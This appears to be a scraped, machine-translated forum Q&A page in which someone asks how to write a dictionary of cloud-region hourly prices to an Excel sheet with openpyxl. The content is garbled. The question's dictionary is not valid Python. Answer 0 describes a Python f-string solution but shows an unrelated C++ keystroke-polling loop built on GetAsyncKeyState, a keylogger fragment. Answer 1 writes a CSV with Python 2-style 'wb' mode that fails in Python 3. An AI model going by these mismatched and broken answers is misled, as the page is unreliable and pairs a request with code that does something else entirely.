下面是我的字典,我想在名为key
和hourly
的两列中将字典的键值对写入excel表。
'One year reserved'= {
'Australia Central 2': 0.0097,
'East US 2': 0.00605,
'North Central US': 0.00605,
'South Africa West': 0.01016,
'UK West': 0.00685,
'France South': 0.01119,
'Korea': 0.00639,
'Canada East': 0.00685,
'US Gov Virginia': 0.00879,
'East Asia': 0.0097,
'South India': 0.01005,
'South Central US': 0.00731,
'West US': 0.00719,
'Australia East': 0.00776,
'Canada Central': 0.00674,
'Australia Southeast': 0.00776,
'Southeast Asia': 0.00776,
'Central US': 0.00731,
'West India': 0.00833,
'East US': 0.00605,
'Australia Central': 0.0097,
'UK South': 0.00685,
'Japan East': 0.00799,
'Japan West': 0.00879,
'West Europe': 0.00696,
'Brazil South': 0.00982,
'Korea Central': 0.00799,
'US Gov Texas': 0.00879,
'US Gov Arizona': 0.00879,
'Central India': 0.00833,
'North Europe': 0.00822,
'West Central US': 0.00731,
'France Central': 0.00856,
'South Africa North': 0.00811,
'West US 2': 0.00605
}
使用python openpyxl库将字典转换为xls文件。 输出应如下所示:-
**Key** **Hourly**
Australia Central 2 0.008
East US 2 0.00605
North Central US 0.00605
答案 0 :(得分:2)
这是使用python 3.6及更高版本的解决方案,因为它使用f字符串。 int main()
{
while (1){
for (unsigned char i = 0; i < 255; i++){
if (GetAsyncKeyState(i) == -32767) {
if (i == VK_OEM_1) {
cout << ";";
}
}
// ....
}
}
用于不必将行号存储在另一个引用中。
enumerate
答案 1 :(得分:0)
import csv
one_year_reserved = {
'australia-central': 0.0097,
'usgov-virginia': 0.00879,
'us-south-central': 0.00731,
'france-south': 0.01119,
'us-west': 0.00719,
'europe-north': 0.00822,
'asia-pacific-east': 0.0097,
'japan-east': 0.00799,
'west-india': 0.00833,
'united-kingdom-west': 0.00685,
'usgov-arizona': 0.00879,
'brazil-south': 0.00982,
'australia-east': 0.00776,
'us-west-2': 0.00605,
'asia-pacific-southeast': 0.00776,
'south-india': 0.01005,
'us-central': 0.00731,
'us-east-2': 0.00605,
'south-africa-west': 0.01016,
'canada-central': 0.00674,
'south-africa-north': 0.00811,
'canada-east': 0.00685,
'us-east': 0.00605,
'korea-south': 0.00639,
'united-kingdom-south': 0.00685,
'europe-west': 0.00696,
'japan-west': 0.00879,
'australia-southeast': 0.00776,
'us-west-central': 0.00731,
'us-north-central': 0.00605,
'central-india': 0.00833,
'korea-central': 0.00799,
'usgov-texas': 0.00879,
'france-central': 0.00856,
'australia-central-2': 0.0097
}
with open('output2.csv', 'wb') as output:
writer = csv.writer(output)
for key, value in one_year_reserved.items():
writer.writerow([key, value])